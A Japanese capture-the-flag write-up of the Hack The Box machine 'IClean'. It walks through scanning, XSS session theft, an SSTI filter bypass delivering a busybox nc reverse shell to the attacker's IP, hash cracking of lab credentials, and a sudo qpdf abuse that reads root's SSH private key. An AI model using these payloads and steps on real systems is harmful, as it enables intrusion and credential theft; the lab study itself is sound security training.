初めに
本記事は Hack The Box(以下リンク参照) の「IClean」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
初期探索
ポートスキャン
┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.12 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.12:22
Open 10.10.11.12:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-23 07:56 EDT
Initiating Ping Scan at 07:56
Scanning 10.10.11.12 [4 ports]
Completed Ping Scan at 07:56, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:56
Completed Parallel DNS resolution of 1 host. at 07:56, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:56
Scanning 10.10.11.12 [2 ports]
Discovered open port 22/tcp on 10.10.11.12
Discovered open port 80/tcp on 10.10.11.12
Completed SYN Stealth Scan at 07:56, 0.22s elapsed (2 total ports)
Nmap scan report for 10.10.11.12
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2024-04-23 07:56:39 EDT for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
22と80番Portが公開されている。
ブラウザでアクセスしたときにcapiclean.htb
にアクセスできないといわれるので以下のように/etc/hosts
に登録します。
10.10.11.12 capiclean.htb
サイト探索
ディレクトリ探索
まずはdirsearch
です。
┌──(root㉿kali)-[~]
└─# dirsearch -u http://capiclean.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/reports/http_capiclean.htb/__24-04-23_08-03-13.txt
Target: http://capiclean.htb/
[08:03:13] Starting:
[08:03:33] 200 - 2KB - /about
[08:04:02] 302 - 189B - /dashboard -> /
[08:04:18] 200 - 2KB - /login
[08:04:19] 302 - 189B - /logout -> /
[08:04:37] 403 - 278B - /server-status
[08:04:37] 403 - 278B - /server-status/
[08:04:38] 200 - 8KB - /services
Task Completed
ダッシュボードがあるようだが、ログインページにリダイレクトされてしまう。
エンドポイント列挙
katana
を使う。
┌──(root㉿kali)-[~]
└─# katana -u http://capiclean.htb/
__ __
/ /_____ _/ /____ ____ ___ _
/ '_/ _ / __/ _ / _ \/ _ /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/
projectdiscovery.io
[INF] Current katana version v1.0.5 (outdated)
[INF] Started standard crawling for => http://capiclean.htb/
http://capiclean.htb/
http://capiclean.htb/static/js/custom.js
http://capiclean.htb/static/js/jquery-3.0.0.min.js
http://capiclean.htb/static/js/jquery.fancybox.min.js
http://capiclean.htb/static/js/owl.carousel.js
http://capiclean.htb/static/js/popper.min.js
http://capiclean.htb/static/js/jquery.mCustomScrollbar.concat.min.js
http://capiclean.htb/static/js/'+i+'
http://capiclean.htb/static/js/jquery.min.js
http://capiclean.htb/static/js/bootstrap.bundle.min.js
http://capiclean.htb/static/js/'+s+'
http://capiclean.htb/static/js/%7Bhref%7D
http://capiclean.htb/static/css/owl.theme.default.min.css
http://capiclean.htb/static/css/owl.carousel.min.css
http://capiclean.htb/static/css/jquery.mCustomScrollbar.min.css
http://capiclean.htb/static/css/responsive.css
http://capiclean.htb/static/css/style.css
http://capiclean.htb/quote
http://capiclean.htb/team
http://capiclean.htb/choose
http://capiclean.htb/static/css/bootstrap.min.css
http://capiclean.htb/login
http://capiclean.htb/about
http://capiclean.htb/
http://capiclean.htb/services
http://capiclean.htb/static/js/plugin.js
quote
階層などが気になるといったところだ。
ブラウジング
quote
階層を見てみる。
リクエストをPOSTしてみると以下の画面に偏移する。
後でTeamが確認するみたいなこと書いているので、クライアント側への攻撃が出来そう。
login
階層も見てみる。
ふむとりあえずここら辺を攻めていこうと思う。
イニシャルアクセス
SQLi Auth Bypass
loginをSQLiでBypassする。
あまりハマるパターンはないのだがとりあえずBurpで回しておいてもらう。
放置しつつ別のアクセスを試すといった形だ。
結果は上記のようになり、特段気になるレスポンスはなかった。
このIntruderの使い方は以下で詳細に説明している。
XSS
ダッシュボードがありログインしたら見えそうなこと、クライアント側の攻撃が通りそうなことからXSSを仕掛けてみようと思う。
とりあえず受け側を以下で用意しておく。投げる場所はさっきのquote
だ。
┌──(root㉿kali)-[~/work]
└─# python3 -m http.server 80
Payloadは以下を参考に作成する。
エンコードをする。
POSTのクエリにとりあえず全部ぶち込む。
こない。次のPayload。
こない。
色々試していると、以下で引っかかる。
このセッション情報をCookieに登録する。
ダッシュボードにアクセスしてみる。
いけた!!!
SSTI
色々機能があったので試してみる。Invoice作ってみる。
IDが払い出された。このIDでQR作ってみる。
QRをInsert?するみたいなのでRFIできるかもしれないのでHTTPで自分のサーバを指定してみる。
あーBase64ね。入力が表示されるならSSTIも試してみる。
あ、こっちの脆弱性が見つかったので、SSTIから攻める。
だがここからSSTIのRCEペイロードを投げたが発火しない。何かBypassが必要と考えて調べてみると以下の記事が見つかる。
ここから以下のようなPayloadを注入します。
発火してますね。
これでReverseShellを叩き込めそうです。
Foothold
ReverseShell
いつもの上記のサイトからPayloadを作成します。
{{request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("busybox%20nc%2010.10.14.106%204444%20-e%20bash")["read"]()}}
Interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。
PythonでTTY作成後にCtrl+Zで接続をバックグラウンドにし、以下のコマンドを実行する。
┌──(root㉿kali)-[~/work]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.106] from (UNKNOWN) [10.10.11.12] 45012
whoami
www-data
python3 -c 'import pty;pty.spawn("bash")'
www-data@iclean:/opt/app$ ^Z
zsh: suspended nc -lvnp 4444
┌──(root㉿kali)-[~/work]
└─# stty raw -echo; fg
[1] + continued nc -lvnp 4444
export TERM=xterm
www-data@iclean:/opt/app$ export SHELL=/bin/bash
www-data@iclean:/opt/app$
まだこのシェルではUserフラグは奪取できていません。
横展開
MySQL
色々ファイルを探っていると、app.pyにクレデンシャル情報を見つける。
このクレデンシャル情報を用いてDBにアクセスする。
mysqlコマンドが効くかどうか試してみる。
www-data@iclean:/opt/app$ mysql --version
mysql Ver 8.0.36-0ubuntu0.22.04.1 for Linux on x86_64 ((Ubuntu))
www-data@iclean:/opt/app$
効くようだ。ならそのまま試す。
www-data@iclean:/opt/app$ mysql -h 127.0.0.1 -u iclean -ppxCsmnGLckUb
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2055
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)
Copyright (c) 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
列挙すると以下のようにconsuela
の情報が見える。
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| capiclean |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)
mysql> use capiclean
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests |
| services |
| users |
+---------------------+
3 rows in set (0.00 sec)
mysql>
mysql> select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password | role_id |
+----+----------+------------------------------------------------------------------+----------------------------------+
| 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)
mysql>
Hashcat
どんなものでエンコードしているのか調べてみる
┌──(root㉿kali)-[~/work]
└─# hashid 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa
Analyzing '0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)
SHA-256のようである。
hashcatさんに投げてみる。
┌──(root㉿kali)-[~/work]
└─# hashcat -m 1400 -a 0 hash /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.6) starting
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-penryn-Intel(R) Core(TM) i7-10700F CPU @ 2.90GHz, 2919/5902 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs
0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494da...6927aa
Time.Started.....: Wed Apr 24 11:02:22 2024, (2 secs)
Time.Estimated...: Wed Apr 24 11:02:24 2024, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1674.1 kH/s (0.30ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3751936/14344385 (26.16%)
Rejected.........: 0/3751936 (0.00%)
Restore.Point....: 3749888/14344385 (26.14%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: simplenaruto -> simona_s
Hardware.Mon.#1..: Util: 31%
Started: Wed Apr 24 11:01:56 2024
Stopped: Wed Apr 24 11:02:25 2024
このクレデンシャル情報でログインしてみる。
いけました!ユーザフラグゲットです。
特権昇格
sudo -l
いつもの調べてみます。
consuela@iclean:~$ sudo -l
[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdf
consuela@iclean:~$
qpdf
がRootで回せそう。
何が出来るのか調査してみます。
ヘルプも参照しながら調べてみると、ファイルをPDFの中にアタッチできそうである。
consuela@iclean:~$ /usr/bin/qpdf --help
Run "qpdf --help=topic" for help on a topic.
Run "qpdf --help=--option" for help on an option.
Run "qpdf --help=all" to see all available help.
Topics:
add-attachment: attach (embed) files
advanced-control: tweak qpdf's behavior
attachments: work with embedded files
completion: shell completion
copy-attachments: copy attachments from another file
encryption: create encrypted files
exit-status: meanings of qpdf's exit codes
general: general options
help: information about qpdf
inspection: inspect PDF files
json: JSON output for PDF information
modification: change parts of the PDF
overlay-underlay: overlay/underlay pages from other files
page-ranges: page range syntax
page-selection: select pages from one or more files
pdf-dates: PDF date format
testing: options for testing or debugging
transformation: make structural PDF changes
usage: basic invocation
For detailed help, visit the qpdf manual: https://qpdf.readthedocs.io
consuela@iclean:~$
であれば/root/.ssh/id_rsa
をアタッチさせる方向でコマンドを調整してみる。
エラーと試行錯誤を繰り返していると以下のコマンドが通った。
consuela@iclean:~$ sudo /usr/bin/qpdf --empty test --add-attachment /root/.ssh/id_rsa -- --qdf
この秘密鍵をroot_key
として保存する。これでRoot権限で入ってみる。
いけました。これでRoot権限奪取です!
まとめ
これで特権昇格に成功し、Root権限を奪取できました。
最近XSS利用が多くなっている気がします。XSS以前まで全然出てなかったのでだいぶ新鮮。XSS何もわからん。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。